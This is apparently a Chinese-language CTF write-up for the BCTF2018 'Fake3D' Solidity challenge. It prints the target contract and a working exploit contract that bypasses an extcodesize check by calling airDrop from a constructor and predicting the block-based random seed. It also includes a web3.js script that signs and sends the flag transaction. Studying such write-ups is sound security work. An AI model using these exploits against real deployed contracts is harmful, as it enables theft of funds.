BCTF2018 Fake3D Study

前言

  这道题跟上道比简单了点,原理唯一的区别就是如何bypass extcodesize,而这个网上也有解决方案,EOSGame中的FOMO3D游戏就发生过这种攻击。

OverView

  首先看合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
pragma solidity ^0.4.24;

/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {

/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b);

return c;
}

/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold

return c;
}

/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;

return c;
}

/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);

return c;
}

/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}

contract WinnerList{
address owner;
struct Richman{
address who;
uint balance;
}

function note(address _addr, uint _value) public{
Richman rm;
rm.who = _addr;
rm.balance = _value;
}

}

contract Fake3D {
using SafeMath for *;
mapping(address => uint256) public balance;
uint public totalSupply = 10**18;
WinnerList wlist;

event FLAG(string b64email, string slogan);

constructor(address _addr) public{
wlist = WinnerList(_addr);
}

modifier turingTest() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}

function transfer(address _to, uint256 _amount) public{
require(balance[msg.sender] >= _amount);
balance[msg.sender] = balance[msg.sender].sub(_amount);
balance[_to] = balance[_to].add(_amount);
}


function airDrop() public turingTest returns (bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));

if((seed - ((seed / 1000) * 1000)) < 288){
balance[tx.origin] = balance[tx.origin].add(10);
totalSupply = totalSupply.sub(10);
return true;
}
else
return false;
}

function CaptureTheFlag(string b64email) public{
require (balance[msg.sender] > 8888);
wlist.note(msg.sender,balance[msg.sender]);
emit FLAG(b64email, "Congratulations to capture the flag?");
}

}

  可以看到我们的目的就是绕过turingTestmodifier声明的作用有点类似于Python中的修饰函数。它跟_结合起来可以实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function temp() public {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
// _ 是替换位置的标志
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));

if((seed - ((seed / 1000) * 1000)) < 288){
balance[tx.origin] = balance[tx.origin].add(10);
totalSupply = totalSupply.sub(10);
return true;
}
else
return false;
}

  那么关键就是绕过require(_codeLength == 0, "sorry humans only");,根本就是bypass extcodesize

Attack

  extcodesize的作用是return size of the code at address,经常拿来判别直接调用者是另一个合约还是用户,因为一个合约的code size不会是0,而用户是0.

  但问题就出来当合约正在执行构造函数constructor并部署时,其extcodesize为0,也就是说合约完全可以通过在constructor中调用方法而绕过该判断。所以我们只要通过不断部署合约来进行攻击就可以拿到flag。

  有了上篇的基础后,这里的exp也比较好写和理解,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
pragma solidity ^0.4.24;

library SafeMath {
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);

return c;
}

}

contract Fake3D {
mapping(address => uint256) public balance;
function airDrop() public returns (bool);
function CaptureTheFlag(string b64email);
}

contract PWNFake {
using SafeMath for *;
uint public test_count = 0;
uint public goto_count = 0;
constructor() public payable {
Fake3D mime = Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);

uint16 i;
for (i = 0; i < 900; i++) {
test_count++;
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(this)))) / (now)).add
(block.number)
)));

if((seed - ((seed / 1000) * 1000)) < 288){
goto_count++;
mime.airDrop();
}
}
}

function get_goal() view public returns(uint256) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(this)))) / (now)).add
(block.number)
)));

uint256 result = (seed - ((seed / 1000) * 1000));
return result;
}

function getbalance() view public returns(uint256) {
Fake3D mime2 = Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);
return mime2.balance(this);
}

function get_flag() public {
Fake3D mime2 = Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);
mime2.CaptureTheFlag("amF5ODBAcHJvdG9ubWFpbC5jb20=");
}
function error_test() public {
Fake3D mime = Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);
mime.airDrop();
}
}

  这里的error_test是为了验证上面的漏洞,不是在构造函数constructor中调用是过不了extcodesize的判断的。

  需要注意的地方就是原合约中使用msg.sender代入计算,而msg.sender是合约的直接调用者,这里就是我们自己的攻击合约的地址,所以我在exp中使用了this来代替,this在合约中表示合约本身的地址。

1
2
3
4
5
6
7
8
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));

  另一个点就是这里是检测msg.sender的账户是否大于8888,而不是tx.origin。但赌中是给tx.origin发奖金的。所以我们还需要用tx.origin的用户去做调用CaptureTheFlag(string b64email)。这一步可以用web3js,也可以用metamask,用metamask的时候需要在data段里填CaptureTheFlag(string b64email)abi。用web3js实现是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
let Web3 = require("web3");
let Tx = require('ethereumjs-tx');
const BigNumber = require('bignumber.js');

let privKey = new Buffer.from('6c33....', 'hex');
let fromAddress = "0x527e6be04ec5a81fd3ef871694230edd432f010b";
// 合约地址
let contractAddress = "0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a";
// 创建web3对象
let web3 = new Web3();
// 连接到 ropsten 测试节点

let INFURA_API_KEY = "9762c5d28b..."
let ROPSTEN_URL = "https://ropsten.infura.io/" + INFURA_API_KEY
web3.setProvider(new Web3.providers.HttpProvider(ROPSTEN_URL))

let abi = [
{
"constant": true,
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "b64email",
"type": "string"
}
],
"name": "CaptureTheFlag",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_to",
"type": "address"
},
{
"name": "_amount",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "airDrop",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "",
"type": "address"
}
],
"name": "balance",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"name": "_addr",
"type": "address"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": false,
"inputs": [
{
"indexed": false,
"name": "b64email",
"type": "string"
},
{
"indexed": false,
"name": "slogan",
"type": "string"
}
],
"name": "FLAG",
"type": "event"
}
]

function sendSigned(txData) {
web3.eth.accounts.signTransaction(txData, '0x6c332f680...')
.then(RLPencodedTx => {
let transact = web3.eth.sendSignedTransaction(RLPencodedTx['rawTransaction']);
transact.on('confirmation', (confirmationNumber, receipt) => {
console.log('confirmation', confirmationNumber);
});

transact.on('transactionHash', hash => {
console.log('hash', hash);
});

transact.on('receipt', receipt => {
console.log('reciept', receipt);
});

transact.on('error', console.error);
});
}

let EOSGameContract = new web3.eth.Contract(abi, contractAddress);
let ctf = EOSGameContract.methods.CaptureTheFlag('amF5ODBAcHJvdG9ubWFpbC5jb20=').encodeABI();

let txData = {
chainId: 3,
gas: web3.utils.toHex(2500000),
gasLimit: web3.utils.toHex(400*1e10),
gasPrice: web3.utils.toHex(40*1e10), // 10 Gwei
to: contractAddress,
from: fromAddress,
value: "0x0", //web3.utils.toHex(web3.utils.toWei(0, 'wei')),
data: ctf
}

sendSigned(txData);

  查询当前用户的余额使用如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.24;


contract Fake3D {
mapping(address => uint256) public balance;
function airDrop() public returns (bool);

}

contract GetBalance {
Fake3D mime = Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);

function getbalance() view public returns(uint256) {
return mime.balance(tx.origin);
}
}

  当能在攻击合约里查到余额大于8888时就发起get_flag

   在理一下流程就是:首先通过不断部署合约让自己的账户(tx.origin)的余额大于8888,然后用用户对Fake3D合约直接发起转账交易,把金额转到攻击成功的合约地址上,最后在攻击合约中发起get_flag。这里采用直接用用户发起CaptureTheFlag,脑子瓦特了。。。






  这里我给攻击合约转了8900,理论上那么这个攻击合约也是可以发起get_flag的,但实际发现会报:

1
Warning! Error encountered during contract execution [Reverted]



  因为这个也要一定的耐心,成功率不会很高,这里就不做get flag操作了,攻击原理跟手段get到就好。。。

参考链接:

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×